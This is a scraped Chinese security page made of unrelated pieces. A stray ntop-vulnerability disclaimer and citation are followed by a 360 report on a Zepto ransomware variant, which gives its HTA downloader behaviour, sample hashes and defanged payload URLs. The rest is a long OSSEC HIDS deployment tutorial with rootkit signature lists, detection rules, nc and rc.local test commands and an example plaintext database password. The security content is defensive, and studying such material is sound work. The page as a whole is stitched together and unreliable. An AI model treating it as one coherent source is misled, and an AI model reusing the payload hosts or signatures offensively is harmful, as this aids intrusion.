PS： 这个漏洞已向ntop官方反馈，后续版本应该会修复，此漏洞仅限学习交流，切勿用于非法用途。
引用:
* <https://www.freebuf.com/vuls/195887.html> | 社区文章 |
# 【技术分享】Zepto敲诈者木马再变种,360天擎推出“敲诈先赔”
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**前言**
近日，360威胁情报中心捕获到新一批的zepto敲诈者木马开始通过邮件附件传播，与以往有所不同的是，新一波的邮件附件，不再使用之前的js脚本作为最初的下载器，而是改用HTA脚本。
一旦中招，用户电脑上的视频、图片、文档等文件内容会被加密，扩展名被改为.zepto，并修改桌面背景图片提示要求支付比特币赎金。
图1中毒后要求支付比特币赎金的桌面背景图片
**技术说明**
最新变种的Zepto敲诈者病毒，病毒的本体还是之前的Locky家族，只是在传播过程中，在原来js或vbs文件的基础上加了层hta外壳。此病毒通过钓鱼邮件传播，当用户收到此类含有欺骗性内容的邮件，诱使用户双击附件中后缀名为hta的文件，系统会创建进程mshta.exe执行hta文件中保存的js或vbs代码，这些代码会先从服务器下载加密的病毒本体，解密后由rundll32.exe加载执行，进而加密用户电脑上的文件。
从邮件附件压缩包中解压出的hta文件可直接用文本编辑器打开，很明显的是一段嵌入了javascript脚本的HTML代码。但，却是经过重重加密的：
经过解密后，可见关键代码。首先脚本会尝试从列表中所给出的三个URL下载payload文件到本地并执行，只要其中任意一个被成功运行起来便会跳出循环，不再尝试后面的下载地址：
而每次循环中，脚本都会首先尝试下载payload文件，若成功下载会本地，便会解密文件，把文件恢复成可执行的PE文件格式，再通过文件大小和一些特定偏移量标记判断恢复是否成功：
而payload被下载回来之后，读取文件的时候本身就会有一次转换：
而在读取完文件，并成功转换为数组后，会正式进行解密：
如此大费周章的获取到一个真正的可执行程序，最后在调用系统的rundll32进程，带参数”qwerty”执行该dll木马程序：
而最终执行的这个dll程序与之前的敲诈者木马就别无二致了，都是调用advapi32中提供的加密函数逐文件进行加密，此处不再赘述：
**样本信息**
l HTA下载器样本：
6890ceb469a2c8735c4ef4a60d8bfb7931960d4ecf5d6e09d2547a6f7ff0cc4b
ed39f8d1b158a87adeb91be2c47bacd15593390edb2b96713214071ee44f2c26
0025c118675d62dfabcf26698e78870138b5440ac96ccf8d41b32b4d0536aa55
l Dll敲诈者木马样本：
60b2d7d1cf0d543b5287088fa5f1d594181a128024770fc6cd08cb414a4ab07e
l Payload下载地址：
[http://sbbsinfotech[.]com/56f2gsu782desf](http://sbbsinfotech%5B.%5Dcom/56f2gsu782desf)
[http://stirlingblack[.]com/56f2gsu782desf](http://stirlingblack%5B.%5Dcom/56f2gsu782desf)
[http://hunt-magzine[.]com/56f2gsu782desf](http://hunt-magzine%5B.%5Dcom/56f2gsu782desf)
**360天擎安全防护**
360天擎可以成功拦截：
**360天擎近期针对政企客户推出了“敲诈先赔”计划，在企业用户开启敲诈先赔功能后，如果360天擎仍无法防护，感染了敲诈者病毒，360天擎负责赔付赎金，并帮助用户恢复数据。** | 社区文章 |
## **0x01 概述**
关于HIDS，并不是一个新鲜的话题，规模较大的企业都会选择自研，而如果你刚刚接手一个公司的网络安全，人手相对不足，那么OSSEC能帮助你安全建设初期快速搭建一套安全系统，后期如果遇到瓶颈也可以考虑自研去解决一些问题。
## **0x02 主要功能介绍**
OSSEC的主要功能包括日志分析、文件完整性检测、Rootkit检测以及联动配置，另外你也可以将自己的其他监控项集成到OSSEC中。
### **1）日志监控**
日志是平常安全运维中很重要的一项，OSSEC日志检测为实时检测，OSSEC的客户端本身没有解码文件和规则，所监控的日志会通过1514端口发送到服务端。
配置项可以在配置在每个agent的ossec.conf中或者在agent.conf中，需要写在`<localfile>`中，可配置项如下：
* location
指定日志的位置，strftime格式可以用于日志文件名，例如，一个名为file.log-2018-01-22的日志文件可以写为`file.log-%Y-%m-%d`。通配符可以用于非windows系统。当使用通配符时，日志文件必须在ossec-logcollector启动时存在。它不会自动开始监视新的日志文件。strftime和通配符不能在同一条目上使用。
* log_format
例如syslog、command、full_command等等
需要注意的是command和full_command不能配置在agent.conf中，需要配置在ossec.conf中
* command
执行的命令。如果log_format指定的是command，那么将逐行读取。如果log_format指定的是full_command，将全部匹配。
* alias
该命令的别名。这将替换日志消息中的命令。
例如配置
<alias>usb-check</alias>
ossec: output: 'reg QUERY HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR':
将被替换为
ossec: output: 'usb-check':
* frequency
命令运行之间的最小时间间隔。时间间隔可能会比该值大，适用于log_format为command、full_command。
* check_diff
事件的输出将存储在一个内部数据库中。每次接收到相同的事件时，输出都会与之前的输出相比较。如果输出发生了变化，将生成一个警告。
命令监控的具体事例：
默认的ossec.conf中自带的配置检查硬盘空间：
<localfile>
<log_format>command</log_format>
<command>df -P</command>
</localfile>
所对应的rule在ossec_rules.xml
<rule id="531" level="7" ignore="7200">
<if_sid>530</if_sid>
<match>ossec: output: 'df -P': /dev/</match>
<regex>100%</regex>
<description>Partition usage reached 100% (disk space monitor).</description>
<group>low_diskspace,</group>
</rule>
默认的ossec.conf中自带的配置新增端口监听：
<localfile>
<log_format>full_command</log_format>
<command>netstat -tan |grep LISTEN |egrep -v '(127.0.0.1| ::1)' | sort</command>
</localfile>
所对应的rule在ossec_rules.xml
<rule id="533" level="7">
<if_sid>530</if_sid>
<match>ossec: output: 'netstat -tan</match>
<check_diff />
<description>Listened ports status (netstat) changed (new port opened or closed).</description>
</rule>
执行的结果保存在queue/diff/下，每次执行会进行比对
[root@localhost ossec]# cat queue/diff/192.168.192.196/533/last-entry
ossec: output: 'netstat -tan |grep LISTEN |egrep -v '(127.0.0.1| \\1)' | sort':
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:37498 0.0.0.0:* LISTEN
tcp 0 0 :::111 :::* LISTEN
tcp 0 0 :::22 :::* LISTEN
tcp 0 0 :::62229 :::* LISTEN
这里测试一下用nc监听2345端口，告警如下：
** Alert 1499397975.7591: mail - ossec,
2017 Jul 07 11:26:15 (192.168.192.196) any->netstat -tan |grep LISTEN |egrep -v '(127.0.0.1| \\1)' | sort
Rule: 533 (level 7) -> 'Listened ports status (netstat) changed (new port opened or closed).'
ossec: output: 'netstat -tan |grep LISTEN |egrep -v '(127.0.0.1| \\1)' | sort':
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:2345 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:37498 0.0.0.0:* LISTEN
tcp 0 0 :::111 :::* LISTEN
tcp 0 0 :::22 :::* LISTEN
tcp 0 0 :::62229 :::* LISTEN
Previous output:
ossec: output: 'netstat -tan |grep LISTEN |egrep -v '(127.0.0.1| \\1)' | sort':
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:37498 0.0.0.0:* LISTEN
tcp 0 0 :::111 :::* LISTEN
tcp 0 0 :::22 :::* LISTEN
tcp 0 0 :::62229 :::* LISTEN
之前在《Linux应急响应姿势浅谈》中提到的，Linux下开机启动项是应急响应中很重要的检测项，Redhat中的运行模式2、3、5都把/etc/rc.d/rc.local做为初始化脚本中的最后一个。这里我在agent的ossec.conf中新加一个监控，检测当rc.local发生改变的时候告警。
<localfile>
<log_format>full_command</log_format>
<command>/bin/cat /etc/rc.local</command>
<frequency>10</frequency>
</localfile>
在Server端的/var/ossec/rules/ossec_rules.xml下新增一条规则
<rule id="536" level="7">
<if_sid>530</if_sid>
<match>ossec: output: '/bin/cat</match>
<check_diff />
<description>rclocal changed</description>
</rule>
然后重启Server和Agent
Agent执行
echo “echo test” >> /etc/rc.local
报警如下：
** Alert 1499399596.13605: mail - ossec,
2017 Jul 07 11:53:16 (192.168.192.196) any->/bin/cat /etc/rc.local
Rule: 536 (level 7) -> 'rclocal changed'
ossec: output: '/bin/cat /etc/rc.local':
#!/bin/sh
#
# This script will be executed *after* all the other init scripts.
# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.
touch /var/lock/subsys/local
echo test
Previous output:
ossec: output: '/bin/cat /etc/rc.local':
#!/bin/sh
#
# This script will be executed *after* all the other init scripts.
# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.
touch /var/lock/subsys/local
### **2）完整性检测**
命令替换在应急响应中很常见，经常被替换掉的命令例如ps、netstat、ss、lsof等等。另外还有SSH后门。完整性检测的工作方式是Agent周期性的扫描系统文件，并将检验和发送给Server端。Server端存储并进行比对，发现修改是发出告警。
数据存放到服务端的/var/ossec/queue/syscheck目录下
[root@localhost syscheck]# ll /var/ossec/queue/syscheck
total 1388
-rw-r----- 1 ossec ossec 469554 Jun 29 03:16 (192.168.192.195) 192.168.192.195->syscheck
-rw-r----- 1 ossec ossec 469554 Jun 29 03:49 (192.168.192.196) 192.168.192.196->syscheck
-rw-r----- 1 ossec ossec 470797 Jun 29 18:13 syscheck
常用的配置如下：
* directories
默认值是/etc,/usr/bin,/usr/sbin,/bin,/sbin,/boot
属性配置如下
realtime：实时监控
report_changes：报告文件变化，文件类型只能是文本
check _all：check_ *全部为yes
check_sum：监测MD5和SHA1 HASH的变化，相当于设置check_sha1sum=”yes”和check_md5sum=”yes”
check_sha1sum：监测SHA1 HASH的变化
check_md5sum：监测MD5 HASH的变化
check_size：监测文件大小
check_owner：监测属主
check_group：监测属组
check_perm：监测文件权限
restrict：限制对包含该字符串的文件监测
* ignore
配置忽略的文件和目录。所配置的文件和目录依然会检测，不过结果会忽略。
支持正则匹配
<ignore type=”sregex”>.log$|.tmp</ignore>
* frequency
检测周期
* scan_time
开始扫描的时间，格式可以是21pm, 8:30, 12am
* scan_day
配置一周中的哪天可以扫描，格式sunday, saturday, monday
* auto_ignore
忽略变化超过3次的文件
* alert_new_files
新文件创建时告警
* scan_on_start
启动时扫描
* windows_registry
Windows注册表项监控
* registry_ignore
忽略的注册表项
* prefilter_cmd
Prelink会修改二进制文件，以方便其快速启动，所以会导致二进制文件的MD5修改，导致误报。这个配置目的是忽略掉prelink产生的误报，配置
<prefilter_cmd>/usr/sbin/prelink -y</prefilter_cmd>
需要注意的是改配置会影响性能。
* skip_nfs
跳过CIFS和NFS挂载目录
配置示例：
<syscheck>
<directories check_all="yes">/etc,/usr/bin,/usr/sbin</directories>
<directories check_all="yes">/root/users.txt,/bsd,/root/db.html</directories>
</syscheck>
修改告警级别，例如当/var/www/htdocs修改时，告警级别修改为12
<rule id="100345" level="12">
<if_matched_group>syscheck</if_matched_group>
<match>/var/www/htdocs</match>
<description>Changes to /var/www/htdocs - Critical file!</description>
</rule>
这里有一个需要注意的地方，我一开始使用OSSEC的时候，用的默认配置，然后凌晨3点的时候收到了大量的告警，如下：
** Alert 1500341372.94081: mail - ossec,syscheck,
2017 Jul 18 09:29:32 localhost->syscheck
Rule: 550 (level 7) -> 'Integrity checksum changed.'
Integrity checksum changed for: '/sbin/partprobe'
Old md5sum was: 'cabd9d003c9f3b194b32eff8d27e9dfc'
New md5sum is : '34a3700736e54368e296c24acef6f5b9'
Old sha1sum was: '0eb531a5bce4fdf30da3d69aed181b54b4870f0b'
New sha1sum is : '19640bd6d1ebc4298423498a9363dfe2074023ad'
** Alert 1500341380.94500: mail - ossec,syscheck,
2017 Jul 18 09:29:40 localhost->syscheck
Rule: 550 (level 7) -> 'Integrity checksum changed.'
Integrity checksum changed for: '/sbin/wipefs'
Old md5sum was: '61ddf66c79323caff5d8254a29b526dc'
New md5sum is : '45af33cff81598dd0a33f0439c6aa68f'
Old sha1sum was: '161d409336291c8ed03a89bd8378739934dca387'
New sha1sum is : 'a735876ea2090323bd766cfb6bad0f57c6a900f2'
告警显示/sbin下的执行文件MD5都修改了。其实这里是因为定时任务Prelink导致。以CentOS6.5系统为例，
[root@sec248 cron.daily]# ls
logrotate makewhatis.cron mlocate.cron prelink readahead.cron tmpwatch
cron.daily下有一个定时任务prelink，Prelink利用事先链接代替运行时链接的方法来加速共享库的加载，它不仅可以加快起动速度，还可以减少部分内存开销，
是各种Linux架构上用于减少程序加载时间、缩短系统启动时间和加快应用程序启动的很受欢迎的一个工具，解决方案是添加配置
<prefilter_cmd>/usr/sbin/prelink -y</prefilter_cmd>
在比对MD5或者SHA1之前，会先执行`prelink -y <file>`，从而避免误报。`prelink -y
<file>`会输出prelink之前的原始文件内容。
PS：
偶尔会收到大量告警，所监控二进制文件的SHA都变成了da39a3ee5e6b4b0d3255bfef95601890afd80709，如下图所示：
登录服务器执行
prelink -y /bin/sh
at least one of file’s dependencies has changed since prelinking
解决方法：/usr/sbin/prelink -av -mR
参考链接：<https://stelfox.net/blog/2014/08/dependency-prelink-issues/>
### **3）Rootkit检测**
Rootkit也是平时应急响应比较头疼的，OSSEC的检测原理如下：
对比rootkit_files.txt，该文件中包含了rootkit常用的文件。就像病毒库一样。
[root@localhost shared]# egrep -v "^#" rootkit_files.txt | grep -v '^$' | head -n 3
tmp/mcliZokhb ! Bash door ::/rootkits/bashdoor.php
tmp/mclzaKmfa ! Bash door ::/rootkits/bashdoor.php
dev/.shit/red.tgz ! Adore Worm ::/rootkits/adorew.php
如果是以`*`开头的话，会扫描整个系统。
对比rootkit_trojans.txt文件中二进制文件特征。
[root@localhost shared]# egrep -v "^#" rootkit_trojans.txt | grep -v '^$' | head -n 3
ls !bash|^/bin/sh|dev/[^clu]|\.tmp/lsfile|duarawkz|/prof|/security|file\.h!
env !bash|^/bin/sh|file\.h|proc\.h|/dev/|^/bin/.*sh!
echo !bash|^/bin/sh|file\.h|proc\.h|/dev/[^cl]|^/bin/.*sh!
扫描整个文件系统，检测异常文件和异常的权限设置，文件属主是root，但是其他用户可写是非常危险的，rootkit将会扫描这些文件。同时还会检测具有suid权限的文件、隐藏的文件和目录。
另外还会检测隐藏端口、隐藏进程、/dev目录、网卡混杂模式等。
这里看一下ossec.conf中默认的rootcheck的配置
<rootcheck>
<rootkit_files>/var/ossec/etc/shared/rootkit_files.txt</rootkit_files>
<rootkit_trojans>/var/ossec/etc/shared/rootkit_trojans.txt</rootkit_trojans>
<system_audit>/var/ossec/etc/shared/system_audit_rcl.txt</system_audit>
<system_audit>/var/ossec/etc/shared/cis_debian_linux_rcl.txt</system_audit>
<system_audit>/var/ossec/etc/shared/cis_rhel_linux_rcl.txt</system_audit>
<system_audit>/var/ossec/etc/shared/cis_rhel5_linux_rcl.txt</system_audit>
</rootcheck>
/var/ossec/etc/shared/rootkit_files.txt文件中包含了rootkit常用的文件。
/var/ossec/etc/shared/rootkit_trojans.txt文件中检测一些二进制文件的特征。
后面主要是检测系统配置。
测试：
server：192.168.192.193
agent：192.168.192.196
根据上述检测原理第一条，我们在192.168.192.196下创建文件/tmp/mcliZokhb
然后在Server端执行
[root@localhost ossec]# ./bin/agent_control -r -u 1028
OSSEC HIDS agent_control: Restarting Syscheck/Rootcheck on agent: 1028
当扫描完成后，Syscheck last started和Rootcheck last started的时间会更新。
[root@localhost rootcheck]# /var/ossec/bin/agent_control -i 1028
OSSEC HIDS agent_control. Agent information:
Agent ID: 1028
Agent Name: 192.168.192.196
IP address: any/0
Status: Active
Operating system: Linux localhost 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64
Client version: OSSEC HIDS v2.9.0 / 2d13fc898c1b864609180ad7f4512b4c
Last keep alive: Thu Jul 13 14:11:25 2017
Syscheck last started at: Thu Jul 13 14:05:27 2017
Rootcheck last started at: Thu Jul 13 13:55:00 2017
来看一下/var/ossec/queue/rootcheck下的内容
[root@localhost rootcheck]# cat \(192.168.192.196\)\ any-\>rootcheck
!1499925300!1499150323 Starting rootcheck scan.
!1499925927!1499150951 Ending rootcheck scan.
!1499925300!1499925300 Rootkit 'Bash' detected by the presence of file '/tmp/mcliZokhb'.
其中扫描开始时间为1499925300（2017/7/13 13:55:0），扫描结束时间为1499925927（2017/7/13 14:5:27）
然后在1499925300（2017/7/13 13:55:0），检测到了Rootkit。
然后查看ALert日志中的告警信息
[root@localhost rootcheck]# cat /var/ossec/logs/alerts/alerts.log
** Alert 1499925300.0: mail - ossec,rootcheck,
2017 Jul 13 13:55:00 (192.168.192.196) any->rootcheck
Rule: 510 (level 7) -> 'Host-based anomaly detection event (rootcheck).'
Rootkit 'Bash' detected by the presence of file '/tmp/mcliZokhb'.
PS：
1）部署后，发现经常会收到进程隐藏的告警，经排查服务器也不存在异常。
Process ‘25905’ hidden from /proc. Possible kernel level rootkit.
添加规则rules/ossec_rules.xml
<rule id="517" level="0">
<if_sid>510</if_sid>
<match>hidden from /proc</match>
<description>Ignored process hidden entries.</description>
<group>rootcheck,</group>
</rule>
屏蔽掉该告警。
2）因为OSSEC会检测属主是Root但是Other用户有w权限的文件，有些正常业务的文件会导致误报。
添加规则rules/ossec_rules.xml
<rule id="520" level="0">
<if_sid>510</if_sid>
<match>/usr/local/fms</match>
<description>Ignored some files which owned by root and has write permissions.</description>
<group>rootcheck,</group>
</rule>
屏蔽掉这些目录。
### **4）联动配置**
主动响应分为两部分，第一步需要配置需要执行的脚本，第二步需要绑定该脚本到具体的触发规则。/var/ossec/etc/ossec.conf中相应配置如下：
<ossec_config>
<command>
<!--
Command options here
-->
</command>
<active-response>
<!--
active-response options here
-->
</active-response>
</ossec_config>
Command配置参数如下：
* name
对应active-response所使用的名称
* executable
/var/ossec/active-response/bin中的可执行文件，不需要写全路径。
* expect
命令执行的参数，选项可以是srcip和user（其他的名不接受）. 如果expect标签内的值为空，那么传递-代替真实的值。如果一个响应脚本需要srcip，那么它必须在expect选项中。
如果不需要传递参数值，写`<expect></expect>`即可。
* timeout_allowed
指定该命令是否支持超时。
active-response配置参数如下：
* disabled
如果设置为yes，则禁用主动响应，默认为启用。
* command
需要执行的脚本的名称，对应command标签中的name。
* location
在哪里执行命令，具体参数如下：
* local: 产生该事件的agent
* server: 在server端
* defined-agent: 指定一个agent，需要配置agent id
* all: 所有agent
* agent_id
需要执行脚本的agent的ID
* level
大于等于该level的event将执行该响应
* rules_group
响应将在已定义的组中的任何事件上执行。可以用逗号分隔多个组。
* rules_id
响应将在任何带有已定义ID的事件上执行。可以用逗号分隔多个ID。
* timeout
以封禁IP为例，指定IP封禁的时间（单位为秒）。
这里我们来测试一下：
Server：192.168.192.193
Client（ID:1029）192.168.192.195
Client（ID:1028） 192.168.192.196
首先看一下SSH登录失败的日志为：
Jul 6 15:15:57 localhost sshd[28590]: Failed password for root from 192.168.192.196 port 34108 ssh2
所对应的decode.xml中的解码规则为：
<decoder name="ssh-failed">
<parent>sshd</parent>
<prematch>^Failed \S+ </prematch>
<regex offset="after_prematch">^for (\S+) from (\S+) port \d+ \w+$</regex>
<order>user, srcip</order>
</decoder>
这里通过正则表达式获取到了user和srcip
所对应的Rule在sshd_rules.xml中，可以看到告警等级为5：
<rule id="5716" level="5">
<if_sid>5700</if_sid>
<match>^Failed|^error: PAM: Authentication</match>
<description>SSHD authentication failed.</description>
<group>authentication_failed,</group>
</rule>
查看ossec.conf，这里我们添加如下：
<active-response>
<command>test</command>
<location>local</location>
<level>5</level>
<timeout>60</timeout>
</active-response>
所对应的执行脚本名称为test，脚本为本地执行，当rule级别大于等于5时触发，封禁时间为60S。
所对应的command配置为
<command>
<name>test</name>
<executable>test.sh</executable>
<expect>srcip,user</expect>
<timeout_allowed>yes</timeout_allowed>
</command>
这里传递了两个参数srcip,user（前后顺序不影响）。所对应的是ssh-failed解码规则中取到的user和srcip。
/var/ossec/active-response/bin/test.sh文件内容为
#!/bin/sh
LOCAL=`dirname $0`;
cd $LOCAL
cd ../
PWD=`pwd`
echo "`date` $0 $1 $2 $3 $4 $5" >> ${PWD}/../logs/active-responses.log
脚本所传递的参数如下：
$1 动作 (delete or add)
$2 user (or – if not set)
$3 srcip (or – if not set)
$4 时间戳
$5 规则号
修改权限和属组
[root@localhost bin]# chown root:ossec test.sh
[root@localhost bin]# chmod 550 test.sh
然后在192.168.192.196使用错误密码登录192.168.192.193，触发规则，查看日志
[root@localhost ossec]# tail -f logs/active-responses.log
Thu Jul 6 17:07:02 CST 2017 /var/ossec/active-response/bin/test.sh add root 192.168.192.196 1499332022.14278 5503
Thu Jul 6 17:08:32 CST 2017 /var/ossec/active-response/bin/test.sh delete root 192.168.192.196 1499332022.14278 5503
然后我们再用OSSEC自带的host-deny脚本测试一下。
<command>
<name>host-deny</name>
<executable>host-deny.sh</executable>
<expect>srcip</expect>
<timeout_allowed>yes</timeout_allowed>
</command>
<active-response>
<command>host-deny</command>
<location>local</location>
<level>5</level>
<timeout>30</timeout>
</active-response>
这里`<location>local</location>`，即仅在触发该规则的Agent有效。
然后我使用另外一台机器192.168.192.120使用错误密码登录192.168.192.196
触发规则后查看hosts.deny发现已经添加了IP192.168.192.120
[root@localhost ossec]# cat /etc/hosts.deny | grep 120
ALL:192.168.192.120
## 0x03 SaltStack批量部署Agent
在企业内部有各种运维工具有用批量管理服务器，例如SaltStack、ansible等。这里我以SaltStack为例。批量部署这里面临两个问题：
1）install.sh安装交互问题
OSSEC安装为交互式安装，需要手工输入Server端地址，是否开启一些模块等。解决办法是配置preloaded-vars.conf
[root@localhost ossec-hids-2.9.0]# cp etc/preloaded-vars.conf.example etc/preloaded-vars.conf
修改preloaded-vars.conf中的配置即可。最终配置如下：
[root@test135 etc]# cat preloaded-vars.conf | grep -v "^#" | grep -v "^$"
USER_LANGUAGE="cn" # For english
USER_NO_STOP="y"
USER_INSTALL_TYPE="agent"
USER_DIR="/var/ossec"
USER_ENABLE_ACTIVE_RESPONSE="y"
USER_ENABLE_SYSCHECK="y"
USER_ENABLE_ROOTCHECK="y"
USER_AGENT_SERVER_IP="10.111.111.111"
2）Key认证问题
新版本的OSSEC中ossec-authd和agent-auth提供了自动化导入Key的功能。
ossec-authd：
os-authd守护进程运行在服务端，自动分发Key和添加Agent。
默认情况下，该过程中不存在任何身份验证或授权，因此建议只在添加新代理时运行该守护进程。
ossec-authd进程需要SSL keys才行运行。
如果没有SSL Keys会提示以下错误：
[root@localhost syscheck]# /var/ossec/bin/ossec-authd -p 1515
2017/07/04 14:02:26 ossec-authd: INFO: Started (pid: 12764).
2017/07/04 14:02:26 ossec-authd: ERROR: Unable to read certificate file (not found): /var/ossec/etc/sslmanager.cert
2017/07/04 14:02:26 ossec-authd: ERROR: SSL error. Exiting.
生成SSL Keys
[root@localhost syscheck]# openssl genrsa -out /var/ossec/etc/sslmanager.key 2048
Generating RSA private key, 2048 bit long modulus
.....+++
........+++
e is 65537 (0x10001)
[root@localhost syscheck]# openssl req -new -x509 -key /var/ossec/etc/sslmanager.key -out /var/ossec/etc/sslmanager.cert -days 365
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [XX]:
State or Province Name (full name) []:
Locality Name (eg, city) [Default City]:
Organization Name (eg, company) [Default Company Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (eg, your name or your server's hostname) []:
Email Address []:
启动ossec-authd
[root@localhost syscheck]# /var/ossec/bin/ossec-authd
2017/07/04 14:11:35 ossec-authd: INFO: Started (pid: 12788).
[root@localhost syscheck]# netstat -anlp | grep 1515
tcp 0 0 :::1515 :::* LISTEN 12788/ossec-authd
然后客户端运行，这里如果不指定-A为IP的话，默认是Hostname
[root@localhost src]# /var/ossec/bin/agent-auth -m 192.168.192.193 -p 1515 -A 192.168.192.196
2017/07/04 14:27:59 ossec-authd: INFO: Started (pid: 14137).
2017/07/04 14:27:59 INFO: Connected to 192.168.192.193 at address 192.168.192.193, port 1515
INFO: Connected to 192.168.192.193:1515
INFO: Using agent name as: 192.168.192.196
INFO: Send request to manager. Waiting for reply.
INFO: Received response with agent key
INFO: Valid key created. Finished.
INFO: Connection closed.
查看服务端：
2017/07/04 14:27:59 ossec-authd: INFO: New connection from 192.168.192.196
2017/07/04 14:27:59 ossec-authd: INFO: Received request for a new agent (192.168.192.196) from: 192.168.192.196
2017/07/04 14:27:59 ossec-authd: INFO: Agent key generated for 192.168.192.196 (requested by 192.168.192.196)
2017/07/04 14:27:59 ossec-authd: INFO: Agent key created for 192.168.192.196 (requested by 192.168.192.196)
重启客户端服务/var/ossec/bin/ossec-control restart
查看当前连接的Agents
[root@localhost alerts]# /var/ossec/bin/agent_control -lc
OSSEC HIDS agent_control. List of available agents:
ID: 000, Name: localhost (server), IP: 127.0.0.1, Active/Local
ID: 1028, Name: 192.168.192.196, IP: any, Active
启动Agent时的INFO信息
2017/12/13 09:32:18 ossec-agentd: INFO: Using notify time: 600 and max time to reconnect: 1800
可以看到keepalive的时间间隔为10Min，最大重连时间为30Min。
[root@sec248 etc]# /var/ossec/bin/agent_control -i 1024 | grep keep
Last keep alive: Wed Dec 13 09:34:06 2017
可以查看agent的上次keepalive时间，超过最大重连时间，会有告警。
综合上述两个问题，最终Salt部署模板如下：
include:
- mk_Downloads
install_packages:
pkg.latest:
- pkgs:
- openssl-devel
- gcc
- prelink
install_ossec:
cmd.run:
- name: tar zxf ossec.tar.gz && cd ossec && sh install.sh
- cwd: /root/Downloads
- unless: test -e /var/ossec/bin/ossec-control
- require:
- file: /root/Downloads/ossec.tar.gz
/var/ossec/etc/ossec.conf:
file.managed:
- source: salt://ossec/conf/ossec.conf
- user: root
- group: root
- mode: 644
- template: jinja
- require:
- cmd: install_ossec
/var/ossec/etc/shared/agent.conf:
file.managed:
- source: salt://ossec/conf/agent.conf
- user: root
- group: root
- mode: 644
- template: jinja
- require:
- cmd: install_ossec
/var/ossec/monitor.sh:
file.managed:
- source: salt://ossec/conf/monitor.sh
- user: root
- group: root
- mode: 755
- template: jinja
- require:
- cmd: install_ossec
/root/Downloads/ossec.tar.gz:
file.managed:
- source: salt://ossec/ossec.tar.gz
- user: root
- group: root
- mode: 755
- template: jinja
- require:
- file: /root/Downloads
agentauth:
cmd.run:
- name: /var/ossec/bin/agent-auth -m 10.59.0.248 -p 1515 -A $(ifconfig | egrep -o '10\.(59|211|200).[0-9]{1,3}.[0-9]{1,3}' | head -n 1)
- unless: test -s /var/ossec/etc/client.keys
- require:
- cmd: install_ossec
serverstart:
cmd.run:
- name: /var/ossec/bin/ossec-control restart
- onchanges:
- file: /var/ossec/etc/ossec.conf
- require:
- cmd: install_ossec
## **0x04 MySQL及WebUI安装**
### Mysql安装：
在2.9之前可以使用make
setdb后编译OSSEC来支持Mysql。默认的安装脚本install.sh是不支持Mysql的，所以需要在源码的src目录下执行
make TARGET=server DATABASE=mysql install
然后执行
/var/ossec/bin/ossec-control enable database
创建数据库和导入表结构
mysql> create database ossec;
Query OK, 1 row affected (0.00 sec)
mysql> grant INSERT,SELECT,UPDATE,CREATE,DELETE,EXECUTE on ossec.* to [email protected];
Query OK, 0 rows affected (0.00 sec)
mysql> set password for [email protected]=PASSWORD('hehe123');
Query OK, 0 rows affected (0.00 sec)
mysql> flush privileges;
Query OK, 0 rows affected (0.00 sec)
mysql> quit
[root@localhost ossec]# mysql -u root -phehe123 -D ossec < /tmp/ossec-hids-2.9.0/src/os_dbd/mysql.schema
在ossec.conf中添加配置
<database_output>
<hostname>127.0.0.1</hostname>
<username>ossec</username>
<password>hehe123</password>
<database>ossec</database>
<type>mysql</type>
</database_output>
然后重启服务。
/var/ossec/bin/ossec-dbd启动成功。
[root@localhost logs]# ps axu | grep dbd | grep -v grep
ossecm 3919 0.0 0.0 51172 2872 ? S 10:00 0:00 /var/ossec/bin/ossec-dbd
尝试SSH登录失败，看一下入库信息。
mysql> select * from alert a join location l on a.location_id = l.id where l.id = 5\G
*************************** 1. row ***************************
id: 9
server_id: 1
rule_id: 5503
level: 5
timestamp: 1499415795
location_id: 5
src_ip: 192.168.192.120
dst_ip: (null)
src_port: 0
dst_port: 0
alertid: 1499415795.28052
user: root
full_log: Jul 7 16:23:14 localhost sshd[1589]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.192.120 user=root
is_hidden: 0
tld:
id: 5
server_id: 1
name: (192.168.192.196) any->/var/log/secure
*************************** 2. row ***************************
id: 10
server_id: 1
rule_id: 5716
level: 5
timestamp: 1499415800
location_id: 5
src_ip: 192.168.192.120
dst_ip: (null)
src_port: 0
dst_port: 0
alertid: 1499415797.28415
user: root
full_log: Jul 7 16:23:16 localhost sshd[1589]: Failed password for root from 192.168.192.120 port 47519 ssh2
is_hidden: 0
tld:
id: 5
server_id: 1
name: (192.168.192.196) any->/var/log/secure
2 rows in set (0.00 sec)
WebUI安装
安装步骤如下：
1）安装gcc
yum -y install gcc gcc-c++ apr-devel apr-util-devel pcre pcre-devel openssl openssl-devel
2）安装apr（version >= 1.4+ ）
# wget http://mirrors.tuna.tsinghua.edu.cn/apache/apr/apr-1.5.2.tar.gz
# tar zxf apr-1.5.2.tar.gz
# cd apr-1.5.2
# ./configure --prefix=/usr/local/apr
# make && make install
3）安装apr-util（version >= 1.4+ ）
# wget http://mirrors.tuna.tsinghua.edu.cn/apache/apr/apr-util-1.5.4.tar.gz
# tar zxf apr-util-1.5.4.tar.gz
# cd apr-util-1.5.4
# ./configure --prefix=/usr/local/apr-util --with-apr=/usr/local/apr
# make && make install
4）安装httpd-2.4.27
# cd httpd-2.4.27
# ./configure --prefix=/usr/local/apache --with-apr=/usr/local/apr --with-apr-util=/usr/local/apr-util --enable-dav --enable-so --enable-maintainer-mod --enable-rewrite
# make && make install
[root@localhost tmp]# wget https://github.com/ossec/ossec-wui/archive/0.9.tar.gz
